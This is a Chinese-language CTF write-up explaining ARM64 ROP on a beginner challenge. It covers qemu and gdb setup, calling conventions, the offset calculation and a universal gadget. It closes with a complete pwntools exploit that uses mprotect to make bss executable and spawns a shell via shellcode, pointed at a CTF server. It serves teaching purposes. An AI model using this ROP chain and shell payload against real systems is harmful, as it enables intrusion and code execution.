記一次ARM架構的ROP利用

先說一下需要搭建的環境:

1.安裝qemu:sudo apt-get install qemu-user

2.安裝gdb-multiarch:sudo apt-get install gdb-multiarch

3.安裝依賴庫:sudo apt install gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu

然後就可以通過qemu起一個虛擬機模擬arm架構的環境了

qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./arm

-g參數表示等待gdb調試連接端口,-L表示加載指定的動態鏈接庫

啓動之後就再起一個終端用gdb-multiarch來進行調試就可以了,指令如下:

gdb-multiarch arm -q;

然後在gdb-multiarch界面裏輸入target remote:1234,就可以進行調試了

界面如圖

1.jpg
 

在pwntools裏可以寫成這樣的模板,然後就用上面的命令區連接就可以了

from pwn import *

  import sys

  context.binary = './binary'

  if args[1] == 'r':

      p = remote('remote_addr',port)

  if args[1] == 'l':

      p = process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu","./binary"])

  elf = ELF('./binary')

  context.log_level = 'debug'

 pause()

接下來看下題目,IDA7.0 Pro已經可以支持ARM反編譯了,我們就來分析下這個程序,最開始是往bss端上讀0x200個字符,然後又往棧裏讀了0x200個字符,猜測是不是返回到bss端執行shellcode,但是最後發現不是,因爲查看bss段後沒有x權限。

__int64 sub_400818()

  {

    sub_400760();

    write(1LL, "Name:", 5LL);

    read(0LL, &unk_411068, 512LL);

    sub_4007F0();

    return 0LL;

  }

 

 __int64 sub_4007F0()

  {

    __int64 v1; // [xsp+10h] [xbp+10h]

  return read(0LL, &v1, 512LL);

  }

然後發現函數列表裏有mprotect函數

在這個位置被調用了

.text:00000000004007E0                 BL              .mprotect

  .text:00000000004007E4                 NOP

  .text:00000000004007E8                 LDP             X29, X30, [SP],#0x10

  .text:00000000004007EC                 RET

所以確定了思路那就是第一次往bss段讀數據的時候把shellcode輸入進去,然後在棧溢出那裏通過ROP用mprotect給bss開權限,然後控制返回地址到bss段寫的shellcode上。那接下來就是找gadget。但是滿屏幕的彙編讓我看不懂,於是我去查了下資料。發現ARM架構裏是沒有POP和PUSH指令的,他們的指令是這樣的。

2.png

ARM架構下調用函數的約定是,X0,X1,X2,X3寄存器傳遞前四個參數,後面的參數從右到左依次入棧。ARM架構下的PC寄存器就相當於x86的IP寄存器,都指向下一條指令的地址,同時BL指令實現了跳轉到調用的函數處執行,跳轉的同時會存儲返回地址到X30寄存器中,在給被調用函數開闢棧幀的時候,會將BL指令存儲在X30中的返回地址壓入棧中,在調用函數結束後,會將棧裏的返回地址彈回給X30寄存器,RET指令會將X30的內容給到PC寄存器。這就是爲什麼在這個函數的開頭會有這個指令

STP             X29, X30, [SP,#-0x10+var_s0]!

在這個指令執行之後,SP寄存器也就是棧頂指針會-0x10。是!和#-0x10在發揮作用。也就是類似這種在[]後有個!,並且[]裏有數字的話,就會將裏面寄存器進行運算後將數據寫回第一個寄存器,這裏SP會用原來的數據-0x10+0後寫回SP。或者類似這種

LDP             X29, X30, [SP+var_s0],#0x40

這種在[]後面還有數字的,在將sp+var_s0偏移處取0x10大小的數據,分成0x8大小的兩份數據按順序放到X29 X30的寄存器中,並且SP指針會+0x40。

既然清楚了各個指令都做了什麼,接下來就是找棧溢出的偏移然後再找gadget。

那麼該如何確定偏移呢

3.png

可以看到這個棧溢出函數裏,首先將X29,X30兩個寄存的值壓入棧中同時將棧幀擡高了0x50。然後將當前棧頂指針的值賦值給X29,這裏要注意一點,ARM架構下試沒有BP棧底指針的,所以在剛調用函數時X29保存的是上一個函數棧幀的狀態,壓入棧中方便調用完函數後恢復現場。保存好上一個棧幀的狀態之後,再把當前棧頂指針賦值給X29寄存器。這裏可以看到read的函數時,三個參數分別是0,SP+10,0x200,也就是相當於在往當前棧頂+0x10處讀數據,所以可以算出輸入位置距離返回地址的偏移

0x50-0x10+0x8=0x48=72.爲什麼+0x8是因爲x29寄存器也被入棧了。所以還要加八個字節的大小。

確定偏移之後,就是找gadget了。查閱資料後,發現ARM架構下也有一個萬能gadget,

4.png

從4008cc開始加載了棧內的數據到x19 x20 x21 x22 x24 x24 x29 x30這八個寄存器裏,我們可以通過將返回地址控制到0x4008cc,然後後面的數據我們可以構造好,從而控制x30這個寄存器,ret之後跳回到0x4008ac處執行,會將[X21+X19<<3]內存處的內容賦值給X3,X22賦值給X2,X23賦值給X1,X24賦值給X0,然後跳到X3執行,這樣我們就有了能控制三個參數的mprotect,就可以給bss段開執行權限了。然後就是寫shellcode執行了。

ROP佈置如下:

payload = 'a'*72  #offset

 payload += p64(0x4008cc) #ret addr

 payload += p64(0x0) #x29

 payload += p64(0x4008ac) #x30

 payload += p64(0) #x19

 payload += p64(1) #x20

 payload += p64(0x411068) #x21

 payload += p64(0x7) #x22

 payload += p64(0x1000) #x23

 payload += p64(0x411000) #x24

 payload += p64(0) #after mprotect  x29

 payload += p64(0x411068+0x8) #x30  ret addr

可以注意到我們這裏佈置的是0x411068來控制X3寄存器,因爲是將[X21]的內容賦值給X3,所以這裏我們先在bss段上填好有調用mprotect函數的指令地址,然後將0x40011068裏存儲的指令地址賦值給X3。後兩行構造成這樣的原因是

5.png

調用mprotect後,會將相應棧頂的值彈回給X29 X30兩個寄存器,然後RET。也就是說0x411068+0x8處是返回地址,這時bss段已經被我們開啓了可執行權限,這樣執行就沒有問題了。

exp: from pwn import *

  import sys

  context.binary = './arm'

  if sys.argv[1] == "r":

      p = remote('node3.buuoj.cn',27938)

  if sys.argv[1] == "l":

      p = process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu","./arm"])

  p = remote('127.0.0.1',10002)

  elf = ELF('./arm')

  context.log_level = 'debug'

  shellcode = asm(shellcraft.aarch64.sh())

  mprotect = 0x4007e0

  pause()

  p.recvuntil('Name:')

  pause()

  payload = p64(mprotect) + shellcode

  p.sendline(payload)

  sleep(0.1)

  payload = 'a'*72

  payload += p64(0x4008cc)

  payload += p64(0x0) #x29

  payload += p64(0x4008ac) #x30

  payload += p64(0) #x19

  payload += p64(1) #x20

  payload += p64(0x411068) #x21

  payload += p64(0x7) #x22

  payload += p64(0x1000) #x23

  payload += p64(0x411000) #x24

  payload += p64(0)

  payload += p64(0x411068+0x8)

  pause()

  p.sendline(payload)

  p.interactive()

總結:這只是一道ARM架構下的入門題,所以題目的難度不是很大,但是初學者可以通過這道題了解到ARM架構下函數的調用約定,ARM架構下的部分指令集,以及跟X86架構調用函數過程的異同,還有ARM架構下ROP的構造,可以說蠻有意義的。

實驗推薦--《ARM彙編教程

該課程是後續《ARM漏洞利用技術》打基礎的,我們在漏洞利用課程中會介紹使用ARM彙編編寫shellcode等內容,所以在此之前一定要把ARM彙編的基礎打紮實。大家可以點擊鏈接瞭解實驗詳情

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章